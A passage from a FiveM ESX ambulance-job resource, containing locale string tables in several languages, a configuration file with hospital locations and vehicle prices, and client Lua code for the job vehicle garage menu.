77 | -- Item
78 | ['used_medikit'] = 'você usou 1x Seringa',
79 | ['used_bandage'] = 'você usou 1x Vendagem',
80 | ['not_enough_medikit'] = 'você não tem seringa.',
81 | ['not_enough_bandage'] = 'você não tem vendagem.',
82 | ['healed'] = 'você foi tratado.',
83 | -- Blips
84 | ['blip_hospital'] = 'hospital',
85 | ['blip_dead'] = 'cidadão inconsciente',
86 | }
87 |
--------------------------------------------------------------------------------
/locales/de.lua:
--------------------------------------------------------------------------------
1 | Locales['de'] = {
2 | -- Cloakroom
3 | ['cloakroom'] = 'Umkleide',
4 | ['ems_clothes_civil'] = 'Zivil',
5 | ['ems_clothes_ems'] = 'Uniform',
6 | -- Vehicles
7 | ['ambulance'] = 'Rettungsdienst',
8 | ['helicopter_prompt'] = 'Drücke [E] um auf das Helikopter-Menüzugreifen.',
9 | ['garage_prompt'] = 'Drücke [E] um auf das Fahrzeug-Menüzugreifen.',
10 | ['garage_title'] = 'Fahrzeugmenü',
11 | ['garage_stored'] = 'gelagert',
12 | ['garage_notstored'] = 'nicht in der Garage',
13 | ['garage_storing'] = 'Wir versuchen das Fahrzeug einzulagern. Bitte stelle sicher, dass sich kein Spieler in der Nähe des Fahrzeugs befindet.',
14 | ['garage_has_stored'] = 'Das Fahrzeug wurde in deiner Garage eingelagert.',
15 | ['garage_has_notstored'] = 'Es wurde kein Fahrzeug in der Nähe gefunden, dass dir gehört.',
16 | ['garage_notavailable'] = 'Dein Fahrzeug ist nicht in der Garage.',
17 | ['garage_blocked'] = 'Es existieren keine verfügbaren Spawnpoints!',
18 | ['garage_empty'] = 'Du hast keine Fahrzeuge in deiner Garage.',
19 | ['garage_released'] = 'Dein Fahrzeug wurde aus der Garage gefahren.',
20 | ['garage_store_nearby'] = 'Es sind keine Fahrzeuge in der Nähe.',
21 | ['garage_storeditem'] = 'Öffne Garage',
22 | ['garage_storeitem'] = 'Fahrzeug in der Garage einlagern',
23 | ['garage_buyitem'] = 'Fahrzeug-Shop',
24 | ['shop_item'] = '$%s',
25 | ['vehicleshop_title'] = 'Fahrzeug-Shop',
26 | ['vehicleshop_confirm'] = 'Du möchstest dieses Fahrzeug kaufen?',
27 | ['vehicleshop_bought'] = 'Du hast dir einen %s für $%s gekauft!',
28 | ['vehicleshop_money'] = 'Du kannst dir dieses Fahrzeug nicht leisten!',
29 | ['vehicleshop_awaiting_model'] = 'Dieses Fahrzeug lädt bitte warte',
30 | ['confirm_no'] = 'Nein',
31 | ['confirm_yes'] = 'Ja',
32 | -- Action Menu
33 | ['revive_inprogress'] = 'Eine Wiederbelebung findet statt!',
34 | ['revive_complete'] = 'Du hast %s wiederbelebt',
35 | ['revive_complete_award'] = 'Du hast %s wiederbelebt und dabei $%s erten!',
36 | ['revive_fail_offline'] = 'Dieser Spieler ist nicht länger online',
37 | ['heal_inprogress'] = 'Du heilst!',
38 | ['heal_complete'] = 'Du hast %s geheilt!',
39 | ['no_players'] = 'Keine Spieler in der Nähe',
40 | ['player_not_unconscious'] = 'Diese Spieler ist nicht bewusstlos!',
41 | ['player_not_conscious'] = 'Dieser Spieler ist nicht bei Bewusstsein!',
42 | -- Boss Menu
43 | ['boss_actions'] = 'Chef-Aktionen',
44 | -- Misc
45 | ['invalid_amount'] = 'Ungültige Menge',
46 | ['actions_prompt'] = 'Drücke [E] um das Rettungsdienst-Menü öffnen.',
47 | ['deposit_amount'] = 'Menge deponieren',
48 | ['money_withdraw'] = 'Menge abheben',
49 | ['fast_travel'] = 'Drücke [E] um schnellzureisen.',
50 | ['open_pharmacy'] = 'Drücke [E] um die Apotheke zu öffnen.',
51 | ['pharmacy_menu_title'] = 'Apotheke',
52 | ['pharmacy_take'] = 'Nimm %s',
53 | ['medikit'] = 'Medikit',
54 | ['bandage'] = 'Verbände',
55 | ['max_item'] = 'Du kannst nicht mehr tragen.',
56 | -- F6 Menu
57 | ['ems_menu'] = 'Rettungsdienst-Menü',
58 | ['ems_menu_title'] = 'Rettungsdienst-Menü',
59 | ['ems_menu_revive'] = 'Spieler wiederbeleben',
60 | ['ems_menu_putincar'] = 'In Fahrzeug stecken',
61 | ['ems_menu_small'] = 'Kleine Wunden behandeln',
62 | ['ems_menu_big'] = 'Ernsthafte Verletzungen behandeln',
63 | -- Phone
64 | ['alert_ambulance'] = 'Rettungsdienst alarmieren',
65 | -- Death
66 | ['respawn_available_in'] = 'Respawn in %s Minuten %s Sekundenrfügbar',
67 | ['respawn_bleedout_in'] = 'Du wirst in %s Minuten %s Sekundensbluten\n',
68 | ['respawn_bleedout_prompt'] = 'Drücke [E] zu respawnen',
69 | ['respawn_bleedout_fine'] = 'Drücke [E] um für $%s zu respawnen',
70 | ['respawn_bleedout_fine_msg'] = 'Du hast $%s bezahlt, um zu respawnen.',
71 | ['distress_send'] = 'Drücke [G] um ein Notsignal zu senden',
72 | ['distress_sent'] = 'Notsignal wurde an den Rettungsdienst übermittelt!',
73 | -- Revive
74 | ['revive_help'] = 'Belebe einen Spieler wieder',
75 | -- Item
76 | ['used_medikit'] = 'Du hast Medikit verwendet',
77 | ['used_bandage'] = 'Du hast Verband verwendet',
78 | ['not_enough_medikit'] = 'Du hast keine Medikits',
79 | ['not_enough_bandage'] = 'Du hast keine Verbände',
80 | ['healed'] = 'Du wurdest behandelt.',
81 | -- Blips
82 | ['blip_hospital'] = 'Krankenhaus',
83 | ['blip_dead'] = 'Bewusstloser Spieler',
84 | }
85 |
--------------------------------------------------------------------------------
/locales/fr.lua:
--------------------------------------------------------------------------------
1 | Locales['fr'] = {
2 | -- Cloakroom
3 | ['cloakroom'] = 'vestiaire',
4 | ['ems_clothes_civil'] = 'tenue Civil',
5 | ['ems_clothes_ems'] = 'tenue Ambulancier',
6 | -- Vehicles
7 | ['ambulance'] = 'ambulance',
8 | ['helicopter_prompt'] = 'appuyez sur [E] pour accéder aux Actions de l\'hélicoptère.',
9 | ['garage_prompt'] = 'appuyez sur [E] pour accéder aux Actions des véhciules.',
10 | ['garage_title'] = 'actions véhicules',
11 | ['garage_stored'] = 'rangé',
12 | ['garage_notstored'] = 'en dehors du garage',
13 | ['garage_storing'] = 'tentative de suppression du véhicule, assurez-vous que personne ne soit autour.',
14 | ['garage_has_stored'] = 'le véhicule a bien été rangé dans le garage',
15 | ['garage_has_notstored'] = 'aucun véhicule dans le garage',
16 | ['garage_notavailable'] = 'votre véhicule n\'est pas rangé dans le garage.',
17 | ['garage_blocked'] = 'la sortie du garage est obstruée!',
18 | ['garage_empty'] = 'vous n\'avez aucun véhicule dans le garage.',
19 | ['garage_released'] = 'votre véhicule a été sorti.',
20 | ['garage_store_nearby'] = 'aucun véhicule a proximité.',
21 | ['garage_storeditem'] = 'ouvrir le garage',
22 | ['garage_storeitem'] = 'ranger le véhicule',
23 | ['garage_buyitem'] = 'magasin véhicule',
24 | ['shop_item'] = '$%s',
25 | ['vehicleshop_title'] = 'magasin véhicule',
26 | ['vehicleshop_confirm'] = 'voulez-vous acheter ce véhicule?',
27 | ['vehicleshop_bought'] = 'vous avez acheté %s pour $%s',
28 | ['vehicleshop_money'] = 'vous ne pouvez pas acheter ce véhicule',
29 | ['vehicleshop_awaiting_model'] = 'le véhicule est actuellement en PRÉPARATION veuillez patienter',
30 | ['confirm_no'] = 'non',
31 | ['confirm_yes'] = 'oui',
32 | -- Action Menu
33 | ['revive_inprogress'] = 'réanimation en cours',
34 | ['revive_complete'] = 'vous avez réanimé %s',
35 | ['revive_complete_award'] = 'vous avez réanimé %s, $%s',
36 | ['revive_fail_offline'] = 'ce joueur n\'est plus en ligne',
37 | ['heal_inprogress'] = 'vous soignez...',
38 | ['heal_complete'] = 'vous avez soigné %s',
39 | ['no_players'] = 'aucun joueur à proximité',
40 | ['player_not_unconscious'] = 'n\'est pas inconscient',
41 | ['player_not_conscious'] = 'Cette personne est inconsciente!',
42 | -- Boss Menu
43 | ['boss_actions'] = 'action Patron',
44 | -- Misc
45 | ['invalid_amount'] = 'quantité invalide',
46 | ['actions_prompt'] = 'appuyez sur [E] accédez aux Actions d\'Ambulance.',
47 | ['deposit_amount'] = 'montant du dépôt',
48 | ['money_withdraw'] = 'montant du retrait',
49 | ['fast_travel'] = 'appuyez sur [E] pour vous déplacer rapidement.',
50 | ['open_pharmacy'] = 'appuyez sur [E] pour ouvrir la pharmacie.',
51 | ['pharmacy_menu_title'] = 'Pharmacie',
52 | ['pharmacy_take'] = 'prendre %s',
53 | ['medikit'] = 'kit de soin',
54 | ['bandage'] = 'bandage',
55 | ['max_item'] = 'vous en portez déjà assez sur vous.',
56 | -- F6 Menu
57 | ['ems_menu'] = 'interaction citoyen',
58 | ['ems_menu_title'] = 'ambulance - Interactions Citoyen',
59 | ['ems_menu_revive'] = 'réanimer',
60 | ['ems_menu_putincar'] = 'mettre dans véhicule',
61 | ['ems_menu_small'] = 'soigner petites blessures',
62 | ['ems_menu_big'] = 'soigner blessures graves',
63 | ['ems_menu_search'] = 'patient introuvable',
64 | -- Phone
65 | ['alert_ambulance'] = 'alerte Ambulance',
66 | -- Death
67 | ['respawn_available_in'] = 'réanimation possible dans %s minutes %s secondes',
68 | ['respawn_bleedout_in'] = 'vous allez souffrir d\'une hémorragie dans %s minutes %s secondes\n',
69 | ['respawn_bleedout_prompt'] = 'maintenez [E] pour être réanimé',
70 | ['respawn_bleedout_fine'] = 'maintenez [E] pour être réanimé pour $%s',
71 | ['respawn_bleedout_fine_msg'] = 'vous avez payé $%s pour être réanimer.',
72 | ['distress_send'] = 'appuyez sur [G] pour envoyer un signal de détresse',
73 | ['distress_sent'] = 'un signal a été envoyé à toutes les unités disponibles!',
74 | -- Revive
75 | ['revive_help'] = 'relancer un joueur',
76 | -- Item
77 | ['used_medikit'] = 'vous avez utilisé 1x kit de soin',
78 | ['used_bandage'] = 'vous avez utilisé 1x bandage',
79 | ['not_enough_medikit'] = 'vous n\'avez pas de kit de soin.',
80 | ['not_enough_bandage'] = 'vous n\'avez pas de bandage.',
81 | ['healed'] = 'vous avez été soigné.',
82 | -- Blips
83 | ['blip_hospital'] = 'hôpital',
84 | ['blip_dead'] = 'joueur inconscient',
85 | }
86 |
--------------------------------------------------------------------------------
/locales/hu.lua:
--------------------------------------------------------------------------------
1 | Locales['hu'] = {
2 | -- Cloakroom
3 | ['cloakroom'] = 'Öltöző',
4 | ['ems_clothes_civil'] = 'Civil ruházat',
5 | ['ems_clothes_ems'] = 'Munkaruha',
6 | -- Vehicles
7 | ['ambulance'] = 'Mentőautó',
8 | ['helicopter_prompt'] = ' [Információ]:omd meg az [E] gombot a helikopter listához.',
9 | ['garage_prompt'] = ' [Információ]:omd meg az [E] gombot a kocsi listához.',
10 | ['garage_title'] = 'Autó funkciók',
11 | ['garage_stored'] = 'Garázsba',
12 | ['garage_notstored'] = 'Ismeretlen helyen',
13 | ['garage_storing'] = 'Próbáljuk betteni a kocsid a garázsodba, de előtte nézz körül, hogy biztos nincs melletted senki',
14 | ['garage_has_stored'] = ' [Információ]:keresen tároltad a garázsba!',
15 | ['garage_has_notstored'] = ' máció]:ncs a közeledben semmi!',
16 | ['garage_notavailable'] = ' máció]:m tárolhatod a garázsba!',
17 | ['garage_blocked'] = ' máció]:lami gátolja a kocsi lehívását!',
18 | ['garage_empty'] = ' máció]:m teheted a garázsba!',
19 | ['garage_released'] = ' [Információ]:keresen kivetted!',
20 | ['garage_store_nearby'] = ' máció]:ncs a közeledben semmi!',
21 | ['garage_storeditem'] = 'Garázs megnyitása',
22 | ['garage_storeitem'] = 'Kocsi berakása a garázsba',
23 | ['garage_buyitem'] = 'Kocsi igénylés',
24 | ['shop_item'] = '$%s',
25 | ['vehicleshop_title'] = 'Autókereskedés',
26 | ['vehicleshop_confirm'] = 'Megszeretnéd venni ezt a járművet?',
27 | ['vehicleshop_bought'] = ' [Információ]:keresen igényeltél egy %s enért: ',
28 | ['vehicleshop_money'] = ' máció]:t most nem tudod megtenni!',
29 | ['vehicleshop_awaiting_model'] = 'Betöltés..',
30 | ['confirm_no'] = 'Vissza',
31 | ['confirm_yes'] = 'Igényel',
32 | -- Action Menu
33 | ['revive_inprogress'] = ' [Információ]:kezdted az újraélesztést!',
34 | ['revive_complete'] = ' [Információ]:raélesztetted: %s',
35 | ['revive_complete_award'] = ' [Információ]:raélesztetted: %s jáost.',
36 | ['revive_fail_offline'] = 'A játékos nem elérhető',
37 | ['heal_inprogress'] = ' [Információ]:kezdted a gyógyítást!',
38 | ['heal_complete'] = ' [Információ]:ggyógyítottad: %s jáost.',
39 | ['no_players'] = ' máció]:ncs a közeledben senki!',
40 | ['player_not_unconscious'] = ' [Információ]:játékos nincs öntudatánál!',
41 | ['player_not_conscious'] = ' [Információ]:játékos nincs öntudatánál!',
42 | -- Boss Menu
43 | ['boss_actions'] = 'Leader panel',
44 | -- Misc
45 | ['invalid_amount'] = ' telen mennyiség',
46 | ['actions_prompt'] = ' [Információ]:omd meg az [E] gombot a panel megnyitásához.',
47 | ['deposit_amount'] = 'Összeg betétele',
48 | ['money_withdraw'] = 'Összeg kivétele',
49 | ['fast_travel'] = 'Nyomj [E] hogy használd a liftet',
50 | ['open_pharmacy'] = ' [Információ]:omd meg az [E] gombot a gyógyszer kivételéhez.',
51 | ['pharmacy_menu_title'] = 'Kellékek',
52 | ['pharmacy_take'] = 'Kivétel: %s',
53 | ['medikit'] = 'Elsősegély készlet',
54 | ['bandage'] = 'Kötszer',
55 | ['max_item'] = ' máció]:m fér már el nálad!',
56 | -- F6 Menu
57 | ['ems_menu'] = 'EMS menü',
58 | ['ems_menu_title'] = 'EMS Menu',
59 | ['ems_menu_revive'] = 'Újraélesztés',
60 | ['ems_menu_putincar'] = 'Jármübe rakás',
61 | ['ems_menu_small'] = 'Kis sebek meggyógyítása',
62 | ['ems_menu_big'] = 'Súlyos sérülések kezelése',
63 | ['ems_menu_search'] = 'Civil megkeresése',
64 | -- Phone
65 | ['alert_ambulance'] = 'EMS értesités',
66 | -- Death
67 | ['respawn_available_in'] = 'Újraéledés: %s',
68 | ['respawn_bleedout_in'] = 'Elfogsz vérezni %s perc %s másodperclva...\n',
69 | ['respawn_bleedout_prompt'] = 'Nyomd meg az [E]mbot az újraéledéshez',
70 | ['respawn_bleedout_fine'] = 'Újraéledéshez: [E]',
71 | ['respawn_bleedout_fine_msg'] = '[Információ]:Ennyit fizettél, hogy újraéledj',
72 | ['distress_send'] = 'Nyomd meg a gombot a segítségkéréshez',
73 | ['distress_sent'] = ' [Információ]:y civil értesítette az illetékes szervezetet!',
74 | -- Revive
75 | ['revive_help'] = 'újraéleszteni egy játékos',
76 | -- Item
77 | ['used_medikit'] = ' [Információ]:használtál 1x segélytáskát.',
78 | ['used_bandage'] = ' [Információ]:használtál 1x kötszert.',
79 | ['not_enough_medikit'] = '[Információ]:ncs nálad: Defibrillátor.',
80 | ['not_enough_bandage'] = '[Információ]:ncs nálad: Kötszer.',
81 | ['healed'] = ' [Információ]:ggyógyítottak!',
82 | -- Blips
83 | ['blip_hospital'] = 'Korház',
84 | ['blip_dead'] = 'Eszméletlen játékos',
85 | }
86 |
--------------------------------------------------------------------------------
/locales/es.lua:
--------------------------------------------------------------------------------
1 | -- Traducción by https://github.com/ItsManueh
2 |
3 | Locales['es'] = {
4 | -- Cloakroom
5 | ['cloakroom'] = 'Guardarropa',
6 | ['ems_clothes_civil'] = 'Camiseta',
7 | ['ems_clothes_ems'] = 'Equipo de ambulancia',
8 | -- Vehicles
9 | ['ambulance'] = 'Ambulancia',
10 | ['helicopter_prompt'] = 'Presiona [E] para acceder al Acciones de helicópteros.',
11 | ['garage_prompt'] = 'Presiona [E] para acceder al Acciones de vehículos.',
12 | ['garage_title'] = 'Acciones de vehículos',
13 | ['garage_stored'] = 'Almacenado',
14 | ['garage_notstored'] = 'No en el garaje',
15 | ['garage_storing'] = 'Estamos intentando retirar el vehículo, asegúrese de que no haya jugadores a su alrededor.',
16 | ['garage_has_stored'] = 'El vehículo se ha guardado en su garaje',
17 | ['garage_has_notstored'] = 'No se encontraron vehículos de propiedad cercana',
18 | ['garage_notavailable'] = 'Su vehículo no está guardado en el garaje.',
19 | ['garage_blocked'] = '¡No hay puntos de generación disponibles!',
20 | ['garage_empty'] = 'No tiene ningún vehículo en su garaje.',
21 | ['garage_released'] = 'Su vehículo ha sido sacado del garaje.',
22 | ['garage_store_nearby'] = 'No hay vehículos cercanos.',
23 | ['garage_storeditem'] = 'Garaje abierto',
24 | ['garage_storeitem'] = 'Almacenar vehículo en garaje',
25 | ['garage_buyitem'] = 'Tienda de vehículos',
26 | ['shop_item'] = '$%s',
27 | ['vehicleshop_title'] = 'Tienda de vehículos',
28 | ['vehicleshop_confirm'] = '¿Quieres comprar este vehículo?',
29 | ['vehicleshop_bought'] = 'Usted ha comprado %s para $%s',
30 | ['vehicleshop_money'] = 'No puedes pagar ese vehículo',
31 | ['vehicleshop_awaiting_model'] = 'El vehículo está actualmente DESCARGANDO & CARGANDO por favor espere.',
32 | ['confirm_no'] = 'No',
33 | ['confirm_yes'] = 'Si',
34 | -- Action Menu
35 | ['revive_inprogress'] = 'Reanimación en curso',
36 | ['revive_complete'] = 'Has sido reanimado %s',
37 | ['revive_complete_award'] = 'Has sido reanimado %s, $%s',
38 | ['revive_fail_offline'] = 'Ese jugador ya no está en línea',
39 | ['heal_inprogress'] = '!Te estas curando!',
40 | ['heal_complete'] = 'Te has curado %s',
41 | ['no_players'] = 'Ningún jugador cerca',
42 | ['player_not_unconscious'] = 'n\'Estás inconsciente',
43 | ['player_not_conscious'] = '¡Ese jugador no está consciente!',
44 | -- Boss Menu
45 | ['boss_actions'] = 'Acciones del jefe',
46 | -- Misc
47 | ['invalid_amount'] = 'Cantidad no válida',
48 | ['actions_prompt'] = 'Presiona [E] acceder al Acciones de ambulancia.',
49 | ['deposit_amount'] = 'Cantidad de fianza depositada',
50 | ['money_withdraw'] = 'Cantidad de fianza retirada',
51 | ['fast_travel'] = 'Presiona [E] para viajar rápido.',
52 | ['open_pharmacy'] = 'Presiona [E] para abrir la farmacia.',
53 | ['pharmacy_menu_title'] = 'Farmacia',
54 | ['pharmacy_take'] = 'tomar %s',
55 | ['medikit'] = 'Kit médico',
56 | ['bandage'] = 'Vendas',
57 | ['max_item'] = 'Ya has ocupado el máximo número de items disponibles.',
58 | -- F6 Menu
59 | ['ems_menu'] = 'ayuda ciudadana',
60 | ['ems_menu_title'] = 'ambulancia - Ayuda Ciudadana',
61 | ['ems_menu_revive'] = 'reanimar',
62 | ['ems_menu_putincar'] = 'meter en el vehículo',
63 | ['ems_menu_small'] = 'Curar pequeñas heridas',
64 | ['ems_menu_big'] = 'Tratar lesiones graves',
65 | ['ems_menu_search'] = 'Paciente no encontrado',
66 | -- Phone
67 | ['alert_ambulance'] = 'Alerta de ambulancia',
68 | -- Death
69 | ['respawn_available_in'] = 'Reaparición disponible en %s minutes %s seconds',
70 | ['respawn_bleedout_in'] = 'te desangrarás en %s minutes %s seconds\n',
71 | ['respawn_bleedout_prompt'] = 'Mantén [E] reaparecer',
72 | ['respawn_bleedout_fine'] = 'Mantén [E] para reaparecer $%s',
73 | ['respawn_bleedout_fine_msg'] = 'Tu pagaste $%s para reaparecer.',
74 | ['distress_send'] = 'Presiona [G] para enviar señal de socorro',
75 | ['distress_sent'] = 'Se ha enviado una señal de socorro a las unidades disponibles.',
76 |
77 | -- Revive
78 | ['revive_help'] = 'Revivir un jugador',
79 | -- Item
80 | ['used_medikit'] = 'Has usado 1x Kit médico',
81 | ['used_bandage'] = 'Has usado 1x Vendas',
82 | ['not_enough_medikit'] = 'Usted no tiene kit médico.',
83 | ['not_enough_bandage'] = 'Usted no tiene vendas.',
84 | ['healed'] = 'Has sido tratado.',
85 | -- Blips
86 | ['blip_hospital'] = 'Hospital',
87 | ['blip_dead'] = 'Jugador inconsciente',
88 | }
89 |
--------------------------------------------------------------------------------
/config.lua:
--------------------------------------------------------------------------------
1 | Config = {}
2 |
3 | Config.DrawDistance = 10.0 -- How close do you need to be in order for the markers to be drawn (in GTA units).
4 | Config.Debug = ESX.GetConfig().EnableDebug
5 | Config.Marker = {type = 1, x = 1.5, y = 1.5, z = 0.5, r = 102, g = 0, b = 102, a = 100, rotate = false}
6 |
7 | Config.ReviveReward = 700 -- Revive reward, set to 0 if you don't want it enabled
8 | Config.SaveDeathStatus = true -- Save Death Status?
9 | Config.LoadIpl = true -- Disable if you're using fivem-ipl or other IPL loaders
10 |
11 | Config.Locale = GetConvar('esx:locale', 'en')
12 |
13 | Config.DistressBlip = {
14 | Sprite = 310,
15 | Color = 48,
16 | Scale = 2.0
17 | }
18 |
19 | Config.EarlyRespawnTimer = 60000 * 1 -- time til respawn is available
20 | Config.BleedoutTimer = 60000 * 10 -- time til the player bleeds out
21 |
22 | Config.EnablePlayerManagement = false -- Enable society managing (If you are using esx_society).
23 |
24 | Config.RemoveWeaponsAfterRPDeath = true
25 | Config.RemoveCashAfterRPDeath = true
26 | Config.RemoveItemsAfterRPDeath = true
27 |
28 | -- Let the player pay for respawning early, only if he can afford it.
29 | Config.EarlyRespawnFine = false
30 | Config.EarlyRespawnFineAmount = 5000
31 |
32 | Config.OxInventory = ESX.GetConfig().OxInventory
33 | Config.RespawnPoints = {
34 | {coords = vector3(341.0, -1397.3, 32.5), heading = 48.5}, -- Central Los Santos
35 | {coords = vector3(1836.03, 3670.99, 34.28), heading = 296.06} -- Sandy Shores
36 | }
37 |
38 | Config.Hospitals = {
39 |
40 | CentralLosSantos = {
41 |
42 | Blip = {
43 | coords = vector3(307.7, -1433.4, 28.9),
44 | sprite = 61,
45 | scale = 1.2,
46 | color = 2
47 | },
48 |
49 | AmbulanceActions = {
50 | vector3(270.5, -1363.0, 23.5)
51 | },
52 |
53 | Pharmacies = {
54 | vector3(230.1, -1366.1, 38.5)
55 | },
56 |
57 | Vehicles = {
58 | {
59 | Spawner = vector3(307.7, -1433.4, 30.0),
60 | InsideShop = vector3(446.7, -1355.6, 43.5),
61 | Marker = {type = 36, x = 1.0, y = 1.0, z = 1.0, r = 100, g = 50, b = 200, a = 100, rotate = true},
62 | SpawnPoints = {
63 | {coords = vector3(297.2, -1429.5, 29.8), heading = 227.6, radius = 4.0},
64 | {coords = vector3(294.0, -1433.1, 29.8), heading = 227.6, radius = 4.0},
65 | {coords = vector3(309.4, -1442.5, 29.8), heading = 227.6, radius = 6.0}
66 | }
67 | }
68 | },
69 |
70 | Helicopters = {
71 | {
72 | Spawner = vector3(317.5, -1449.5, 46.5),
73 | InsideShop = vector3(305.6, -1419.7, 41.5),
74 | Marker = {type = 34, x = 1.5, y = 1.5, z = 1.5, r = 100, g = 150, b = 150, a = 100, rotate = true},
75 | SpawnPoints = {
76 | {coords = vector3(313.5, -1465.1, 46.5), heading = 142.7, radius = 10.0},
77 | {coords = vector3(299.5, -1453.2, 46.5), heading = 142.7, radius = 10.0}
78 | }
79 | }
80 | },
81 |
82 | FastTravels = {
83 | {
84 | From = vector3(294.7, -1448.1, 29.0),
85 | To = {coords = vector3(272.8, -1358.8, 23.5), heading = 0.0},
86 | Marker = {type = 1, x = 2.0, y = 2.0, z = 0.5, r = 102, g = 0, b = 102, a = 100, rotate = false}
87 | },
88 |
89 | {
90 | From = vector3(275.3, -1361, 23.5),
91 | To = {coords = vector3(295.8, -1446.5, 28.9), heading = 0.0},
92 | Marker = {type = 1, x = 2.0, y = 2.0, z = 0.5, r = 102, g = 0, b = 102, a = 100, rotate = false}
93 | },
94 |
95 | {
96 | From = vector3(247.3, -1371.5, 23.5),
97 | To = {coords = vector3(333.1, -1434.9, 45.5), heading = 138.6},
98 | Marker = {type = 1, x = 1.5, y = 1.5, z = 0.5, r = 102, g = 0, b = 102, a = 100, rotate = false}
99 | },
100 |
101 | {
102 | From = vector3(335.5, -1432.0, 45.50),
103 | To = {coords = vector3(249.1, -1369.6, 23.5), heading = 0.0},
104 | Marker = {type = 1, x = 2.0, y = 2.0, z = 0.5, r = 102, g = 0, b = 102, a = 100, rotate = false}
105 | },
106 |
107 | {
108 | From = vector3(234.5, -1373.7, 20.9),
109 | To = {coords = vector3(320.9, -1478.6, 28.8), heading = 0.0},
110 | Marker = {type = 1, x = 1.5, y = 1.5, z = 1.0, r = 102, g = 0, b = 102, a = 100, rotate = false}
111 | },
112 |
113 | {
114 | From = vector3(317.9, -1476.1, 28.9),
115 | To = {coords = vector3(238.6, -1368.4, 23.5), heading = 0.0},
116 | Marker = {type = 1, x = 1.5, y = 1.5, z = 1.0, r = 102, g = 0, b = 102, a = 100, rotate = false}
117 | }
118 | },
119 |
120 | FastTravelsPrompt = {
121 | {
122 | From = vector3(237.4, -1373.8, 26.0),
123 | To = {coords = vector3(251.9, -1363.3, 38.5), heading = 0.0},
124 | Marker = {type = 1, x = 1.5, y = 1.5, z = 0.5, r = 102, g = 0, b = 102, a = 100, rotate = false},
125 | Prompt = TranslateCap('fast_travel')
126 | },
127 |
128 | {
129 | From = vector3(256.5, -1357.7, 36.0),
130 | To = {coords = vector3(235.4, -1372.8, 26.3), heading = 0.0},
131 | Marker = {type = 1, x = 1.5, y = 1.5, z = 0.5, r = 102, g = 0, b = 102, a = 100, rotate = false},
132 | Prompt = TranslateCap('fast_travel')
133 | }
134 | }
135 |
136 | }
137 | }
138 |
139 | Config.AuthorizedVehicles = {
140 | car = {
141 | ambulance = {
142 | {model = 'ambulance', price = 5000}
143 | },
144 |
145 | doctor = {
146 | {model = 'ambulance', price = 4500}
147 | },
148 |
149 | chief_doctor = {
150 | {model = 'ambulance', price = 3000}
151 | },
152 |
153 | boss = {
154 | {model = 'ambulance', price = 2000}
155 | }
156 | },
157 |
158 | helicopter = {
159 | ambulance = {},
160 |
161 | doctor = {
162 | {model = 'buzzard2', price = 150000}
163 | },
164 |
165 | chief_doctor = {
166 | {model = 'buzzard2', price = 150000},
167 | {model = 'seasparrow', price = 300000}
168 | },
169 |
170 | boss = {
171 | {model = 'buzzard2', price = 10000},
172 | {model = 'seasparrow', price = 250000}
173 | }
174 | }
175 | }
176 |
--------------------------------------------------------------------------------
/client/vehicle.lua:
--------------------------------------------------------------------------------
1 | local spawnedVehicles = {}
2 |
3 | function OpenVehicleSpawnerMenu(type, hospital, part, partNum)
4 | local playerCoords = GetEntityCoords(PlayerPedId())
5 |
6 | ESX.UI.Menu.Open('default', GetCurrentResourceName(), 'vehicle', {
7 | title = TranslateCap('garage_title'),
8 | align = 'top-left',
9 | elements = {
10 | {label = TranslateCap('garage_storeditem'), action = 'garage'},
11 | {label = TranslateCap('garage_storeitem'), action = 'store_garage'},
12 | {label = TranslateCap('garage_buyitem'), action = 'buy_vehicle'}
13 | }}, function(data, menu)
14 | if data.current.action == 'buy_vehicle' then
15 | local shopElements = {}
16 | local authorizedVehicles = Config.AuthorizedVehicles[type][ESX.PlayerData.job.grade_name]
17 | local shopCoords = Config.Hospitals[hospital][part][partNum].InsideShop
18 |
19 | if #authorizedVehicles > 0 then
20 | for k,vehicle in ipairs(authorizedVehicles) do
21 | if IsModelInCdimage(vehicle.model) then
22 | local vehicleLabel = GetLabelText(GetDisplayNameFromVehicleModel(vehicle.model))
23 |
24 | table.insert(shopElements, {
25 | label = ('%s - %s'):format(vehicleLabel, TranslateCap('shop_item', ESX.Math.GroupDigits(vehicle.price))),
26 | name = vehicleLabel,
27 | model = vehicle.model,
28 | price = vehicle.price,
29 | props = vehicle.props,
30 | type = type
31 | })
32 | end
33 | end
34 |
35 | if #shopElements > 0 then
36 | OpenShopMenu(shopElements, playerCoords, shopCoords)
37 | end
38 | end
39 | elseif data.current.action == 'garage' then
40 | local garage = {}
41 |
42 | ESX.TriggerServerCallback('esx_vehicleshop:retrieveJobVehicles', function(jobVehicles)
43 | if #jobVehicles > 0 then
44 | local allVehicleProps = {}
45 |
46 | for k,v in ipairs(jobVehicles) do
47 | local props = json.decode(v.vehicle)
48 |
49 | if IsModelInCdimage(props.model) then
50 | local vehicleName = GetLabelText(GetDisplayNameFromVehicleModel(props.model))
51 | local label = ('%s - %s: '):format(vehicleName, props.plate)
52 |
53 | if v.stored == 1 then
54 | label = label .. ('%s'):format(TranslateCap('garage_stored'))
55 | elseif v.stored == 0 then
56 | label = label .. ('%s'):format(TranslateCap('garage_notstored'))
57 | end
58 |
59 | table.insert(garage, {
60 | label = label,
61 | stored = v.stored,
62 | model = props.model,
63 | plate = props.plate
64 | })
65 |
66 | allVehicleProps[props.plate] = props
67 | end
68 | end
69 |
70 | if #garage > 0 then
71 | ESX.UI.Menu.Open('default', GetCurrentResourceName(), 'vehicle_garage', {
72 | title = TranslateCap('garage_title'),
73 | align = 'top-left',
74 | elements = garage
75 | }, function(data2, menu2)
76 | if data2.current.stored == 1 then
77 | local foundSpawn, spawnPoint = GetAvailableVehicleSpawnPoint(hospital, part, partNum)
78 |
79 | if foundSpawn then
80 | menu2.close()
81 |
82 | ESX.Game.SpawnVehicle(data2.current.model, spawnPoint.coords, spawnPoint.heading, function(vehicle)
83 | local vehicleProps = allVehicleProps[data2.current.plate]
84 | ESX.Game.SetVehicleProperties(vehicle, vehicleProps)
85 |
86 | TriggerServerEvent('esx_vehicleshop:setJobVehicleState', data2.current.plate, false)
87 | ESX.ShowNotification(TranslateCap('garage_released'))
88 | end)
89 | end
90 | else
91 | ESX.ShowNotification(TranslateCap('garage_notavailable'))
92 | end
93 | end, function(data2, menu2)
94 | menu2.close()
95 | end)
96 | else
97 | ESX.ShowNotification(TranslateCap('garage_empty'))
98 | end
99 | else
100 | ESX.ShowNotification(TranslateCap('garage_empty'))
101 | end
102 | end, type)
103 | elseif data.current.action == 'store_garage' then
104 | StoreNearbyVehicle(playerCoords)
105 | end
106 | end, function(data, menu)
107 | menu.close()
108 | end)
109 | end
110 |
